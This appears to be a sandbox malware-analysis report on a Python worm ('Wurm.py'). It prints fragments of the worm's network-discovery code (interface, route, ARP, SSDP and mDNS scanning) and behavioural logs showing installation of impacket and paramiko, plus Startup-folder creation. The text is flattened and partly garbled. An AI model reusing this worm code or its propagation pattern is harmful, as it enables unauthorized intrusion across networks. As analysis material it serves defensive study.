hits.append(n) return hitsdef ifaces(): out = [] if WIN: for m in re.finditer(r"IPv4[^:]*:\s*(\d+\.\d+\.\d+\.\d+)", sh("ipconfig")): out.append((m.group(1), 24)) return out for m in re.finditer(r"inet (\d+\.\d+\.\d+\.\d+)/(\d+)", sh("ip -4 -o addr show", 12)): out.append((m.group(1), int(m.group(2)))) return outdef nets_all(): nets = set() for ip, pfx in ifaces(): try: n = ipaddress.ip_network("%s/%d" % (ip, 24 if pfx >= 24 else pfx), strict=False) except ValueError as e: log("net %s %s" % (ip, e)) continue if n.num_addresses > 1024: n = list(n.subnets(new_prefix=24))[0] nets.add(str(n)) rt = sh("ip route", 8) if NIX else sh("route print -4", 10) for m in re.finditer(r"via (\d+\.\d+\.\d+\.\d+)", rt): nets.add(m.group(1).rsplit(".", 1)[0] + ".0/24") return list(nets)def ssdp_discover(): ips; Source: "Wurm.py"), Found string - l\x00"): q += name + b"\x00\x0c\x00\x01" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.settimeout(2) try: s.sendto(q, ("224.0.0.251", 5353)) end = time.time() + 3 while time.time() < end: try: d a = s.recvfrom(4096) except socket.timeout: break ips.add(a[0]) except OSError as e: log("mdns %s" % e) finally: s.close() return ipsdef neighbors(): ips = set() for line in sh("ip neigh 2>/dev/null", 10).splitlines(): m = re.match(r"(\d+\.\d+\.\d+\.\d+)", line) if m: ips.add(m.group(1)) if WIN: for m in re.finditer(r"(\d+\.\d+\.\d+\.\d+)\s+([0-9a-f-]{17})", sh("arp -a", 12), re.I): ips.add(m.group(1)) ips |= ssdp_discover() ips |= mdns_discover() nets = set() for ip in ips: if ip.startswith(("127.", "169.254.", "224.", "239.", "255.")): continue nets.add(ip.rsplit(; Source: "Wurm.py")44:T9c3,"python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\67D147D5DAB7F28D663CA5B7A9568F087427B9F7") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\67D147D5DAB7F28D663CA5B7A9568F087427B9F7") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A031C46782E6E6C662C2C87C76DA9AA62CCABD8E") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A399046417B67E320D3EFA69D7DCE6B8BFE8A9F2") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A399046417B67E320D3EFA69D7DCE6B8BFE8A9F2") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0") "python.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135") "python.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135")45:T9b6,"python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1490080871 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1490087906 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1490280215 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1490287458 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1491158731 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1491165948 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1491499549 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1491506857 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1492468517 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1492476444 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1493144040 [PID: 8020] "python.exe" queried SystemProcessInformation at 00000000-00008020-00000C15-1493150990 [PID: 8020] "cmd.exe" queried SystemProcessInformation at 00000000-00004724-00000C15-1492831681 [PID: 4724] "cmd.exe" queried SystemProcessInformation at 00000000-00004724-00000C15-1492838860 [PID: 4724] "cmd.exe" queried SystemProcessInformation at 00000000-00004724-00000C15-1493002670 [PID: 4724] "cmd.exe" queried SystemProcessInformation at 00000000-00004724-00000C15-1493009716 [PID: 4724] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1493523967 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1493531608 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1493684083 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1493691528 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1494801151 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1494810120 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1495498832 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1495505703 [PID: 7600] "python.exe" queried SystemProcessInformation at 00000000-00007600-00000C15-1496240309 [PID: 7600]46:T1a73,"python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\__pycache__\pty.cpython-311.pyc.2291914889600" to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\__pycache__\pty.cpython-311.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\__pycache__\tty.cpython-311.pyc.2291914890896" to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\__pycache__\tty.cpython-311.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\unittest\__pycache__\mock.cpython-311.pyc.2291916405968" to "%LOCALAPPDATA%\Programs\Python\Python311\Lib\unittest\__pycache__\mock.cpython-311.pyc" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\a\4\6\b\7\a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950cj4bu04bb.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\a\4\6\b\7\a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950c" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\a\4\6\b\7\a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950c.bodya5roc03x.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\a\4\6\b\7\a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950c.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83iq73v953.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\d\8\7\b\2\d87b20140422fe8fc3ccde46b57b4155e6a64e089bd003244f1b408bny7rwrw9.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\d\8\7\b\2\d87b20140422fe8fc3ccde46b57b4155e6a64e089bd003244f1b408b" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\d\8\7\b\2\d87b20140422fe8fc3ccde46b57b4155e6a64e089bd003244f1b408b.bodyod0rjw5p.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\d\8\7\b\2\d87b20140422fe8fc3ccde46b57b4155e6a64e089bd003244f1b408b.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\0\b\f\9\f\0bf9f8f523c23256bbe56ec4500d40073bebab78bc03a68f36af2b12qunvoegg.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\0\b\f\9\f\0bf9f8f523c23256bbe56ec4500d40073bebab78bc03a68f36af2b12" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\0\b\f\9\f\0bf9f8f523c23256bbe56ec4500d40073bebab78bc03a68f36af2b12.bodyd6p4juqp.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\0\b\f\9\f\0bf9f8f523c23256bbe56ec4500d40073bebab78bc03a68f36af2b12.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\7\7\a\a\1\77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7baq5ld10ik.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\7\7\a\a\1\77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7ba" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\7\7\a\a\1\77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7ba.bodyiykifd4r.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\7\7\a\a\1\77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7ba.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\1\a\9\4\d\1a94d1911069934293419cb5e5e3d0c0bad1264432b253012f46ed75j1t8bdh0.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\1\a\9\4\d\1a94d1911069934293419cb5e5e3d0c0bad1264432b253012f46ed75" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\1\a\9\4\d\1a94d1911069934293419cb5e5e3d0c0bad1264432b253012f46ed75.bodyvplzw3ji.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\1\a\9\4\d\1a94d1911069934293419cb5e5e3d0c0bad1264432b253012f46ed75.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7rstc8dz7.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body5fygzkko.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\e\7\7\3\f\e773f8d8fc51724b9d188d50a83b1c479464c8d90309c39dc78cf36ep_jkz5jq.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\e\7\7\3\f\e773f8d8fc51724b9d188d50a83b1c479464c8d90309c39dc78cf36e" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\e\7\7\3\f\e773f8d8fc51724b9d188d50a83b1c479464c8d90309c39dc78cf36e.body2h94bdo4.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\e\7\7\3\f\e773f8d8fc51724b9d188d50a83b1c479464c8d90309c39dc78cf36e.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\3\a\1\c\7\3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63oju_mhcn.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\3\a\1\c\7\3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\3\a\1\c\7\3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63.bodyhvxehrxo.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\3\a\1\c\7\3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\2\5\1\5\7\251578501238e1118f5758b552bbc0c74635340a079235008e57eac4w_93rvd8.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\2\5\1\5\7\251578501238e1118f5758b552bbc0c74635340a079235008e57eac4" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\2\5\1\5\7\251578501238e1118f5758b552bbc0c74635340a079235008e57eac4.bodynigmzz6v.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\2\5\1\5\7\251578501238e1118f5758b552bbc0c74635340a079235008e57eac4.body" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\9\f\2\9\2\9f292e59213099651b5fcfd03d5cd2be236234e87bcc0df5dbd85d73j71hodyw.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\9\f\2\9\2\9f292e59213099651b5fcfd03d5cd2be236234e87bcc0df5dbd85d73" "python.exe" renamed original file"C:\Users\%OSUSER%\AppData\Local\pip\cache\http-v2\9\f\2\9\2\9f292e59213099651b5fcfd03d5cd2be236234e87bcc0df5dbd85d73.bodyvdy4soml.tmp" to "%LOCALAPPDATA%\pip\cache\http-v2\9\f\2\9\2\9f292e59213099651b5fcfd03d5cd2be236234e87bcc0df5dbd85d73.body"47:T6ca,Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001164.00000000.183356.04DD0000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001520.00000000.180024.6A490000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00002060.00000000.180755.95AD0000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00002664.00000000.181472.875D0000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00004364.00000000.182186.BAE50000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00004424.00000000.183885.EFC10000.00000004.mdmp") Found string ":\WINDOWS\SYSTEM32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00004700.00000000.184239.DC130000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00005936.00000000.182903.1FF40000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00007560.00000000.182544.4D3B0000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00008852.00000000.181116.65F30000.00000004.mdmp")48:T661,file/memory contains long string with (Indicator: "github.com"; File: "37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56.bodyrjw230ed.tmp") file/memory contains long string with (Indicator: "github.com"; File: "METADATA") file/memory contains long string with (Indicator: "github.com"; File: "368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp") file/memory contains long string with (Indicator: "github.com"; File: "impacket-0.13.1-py3-none-any.whl.metadata") file/memory contains long string with (Indicator: "github.com"; File: "tmpu8vzkjs_") file/memory contains long string with (Indicator: "github.com"; File: "tmpihc6ms48") file/memory contains long string with (Indicator: "github.com"; File: "692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp") file/memory contains long string with (Indicator: "github.com"; File: "werkzeug-3.1.9-py3-none-any.whl.metadata") file/memory contains long string with (Indicator: "github.com"; File: "paramiko-5.1.0-py3-none-any.whl.metadata") file/memory contains long string with (Indicator: "github.com"; File: "tmprgw0n_ve") file/memory contains long string with (Indicator: "github.com"; File: "tmpeqf7e__m") file/memory contains long string with (Indicator: "github.com"; File: "f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp") file/memory contains long string with (Indicator: "github.com"; File: "d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp") file/memory contains long string with (Indicator: "github.com"; File: "ldapdomaindump-0.10.0-py3-none-any.whl.metadata")49:Tec2,"python.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008020) "python.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000e059a8d5fe7f00008051239f15020000e0d0179f15020000acd5c6d5fe7f00008051239f1502000001000000ffffffff9028e3d5fe7f00000000000015020000a9d5c6d5fe7f000000000000000000002b8fa8d5fe7f0000d0501f9f15020000d0501f9f150200009028e3d5fe7f00006a45a3d5fe7f0000ffffffffffffffffe0cefed863000000ffffffffffffffffc0cefed863000000e842fad5fe7f00002e86a8d5fe7f000008000000000000000800000000000000f87dc6d5fe7f00007f7ea8d5fe7f0000080000000000000000000000fe7f0000d0661a9f15020000d0661a9f15020000d0661a9f150200002bbfc1830cef0000e842fad5 (UID: 00000000-00008020) "python.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000e059a8d5fe7f0000d021969f15020000408e74a015020000acd5c6d5fe7f0000d021969f1502000001000000ffffffff9028e3d5fe7f000000000000fe7f0000a9d5c6d5fe7f000000000000000000002b8fa8d5fe7f000010861e9f1502000010861e9f150200009028e3d5fe7f00006a45a3d5fe7f0000ffffffffffffffff90eefed863000000ffffffffffffffff70eefed863000000e842fad5fe7f00002e86a8d5fe7f000008000000000000000800000000000000f87dc6d5fe7f00007f7ea8d5fe7f0000080000000000000000000000fe7f000020a074a01502000020a074a01502000020a074a0150200009b9cc1830cef0000e842fad5 (UID: 00000000-00008020) "python.exe" called "RtlGetVersion" with parameter 000000000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008020) "python.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a000002000000000000000000000000000000502daa9f1502000010191efffe7f00000000000000000000000077fdfe7f00000000000000000000ee260cfdfe7f0000070000000000000060dcfed86300000060dcfed863000000400e1afdfe7f0000000077fdfe7f00007b63cffcfe7f0000030000000000000000000000000000009200000000000000a004e7fdfe7f000050dcfed863000000bb5f0cfdfe7f00000d000000fe7f0000a004e7fdfe7f000092000000000000000000000000000000a004e7fdfe7f00001c5b0cfdfe7f0000000000000000000092000000000000000d000000fe7f00000d00000000000000aa00000000000000d24588fdfe7f0000a03a8dfd (UID: 00000000-00008020) "python.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008020)4a:T10c9,"python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311" at 00000000-00008020-00000C17-1490391375 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib" at 00000000-00008020-00000C17-1490391993 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib" at 00000000-00008020-00000C17-1490392338 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib" at 00000000-00008020-00000C17-1490392702 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__init__.py" at 00000000-00008020-00000C17-1490441538 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__init__.py" at 00000000-00008020-00000C17-1490442233 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\__init__.cpython-311.pyc" at 00000000-00008020-00000C17-1490443080 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\__init__.cpython-311.pyc" at 00000000-00008020-00000C17-1490443575 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings" at 00000000-00008020-00000C17-1490445200 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings" at 00000000-00008020-00000C17-1490445600 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings" at 00000000-00008020-00000C17-1490446005 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\aliases.py" at 00000000-00008020-00000C17-1490486838 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\aliases.py" at 00000000-00008020-00000C17-1490487500 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\aliases.cpython-311.pyc" at 00000000-00008020-00000C17-1490488325 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\aliases.cpython-311.pyc" at 00000000-00008020-00000C17-1490488779 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings" at 00000000-00008020-00000C17-1490490248 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\utf_8.py" at 00000000-00008020-00000C17-1490490929 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\utf_8.py" at 00000000-00008020-00000C17-1490491557 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\utf_8.cpython-311.pyc" at 00000000-00008020-00000C17-1490492348 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\utf_8.cpython-311.pyc" at 00000000-00008020-00000C17-1490492780 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings" at 00000000-00008020-00000C17-1490493817 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\cp1252.py" at 00000000-00008020-00000C17-1490494387 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\cp1252.py" at 00000000-00008020-00000C17-1490495010 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\cp1252.cpython-311.pyc" at 00000000-00008020-00000C17-1490495810 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Programs\Python\Python311\Lib\encodings\__pycache__\cp1252.cpython-311.pyc" at 00000000-00008020-00000C17-14904962584b:T4c7,"python.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "python.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\83DA05A9886F7658BE73ACF0A4930C0F99B92F01"; Key: "BLOB") "python.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "python.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "python.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "python.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "python.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "python.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "python.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB")4c:Ta1c,"python.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Caches (UID: 00000000-00008020) "python.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup (UID: 00000000-00008020) "python.exe" called "CreateDirectoryW" with parameter %TEMP%\pip-build-tracker-9jeorbo6 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %TEMP%\pip-install-pdvbr9ib (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %TEMP%\pip-ephem-wheel-cache-vcad7krz (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\a\4 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\a\4\6 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\a\4\6\b (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\pip\cache\http-v2\a\4\6\b\7 (UID: 00000000-00007600) "python.exe" called "CreateDirectoryW" with parameter %TEMP%\pip-unpack-sfpy7it7 (UID: 00000000-00007600) 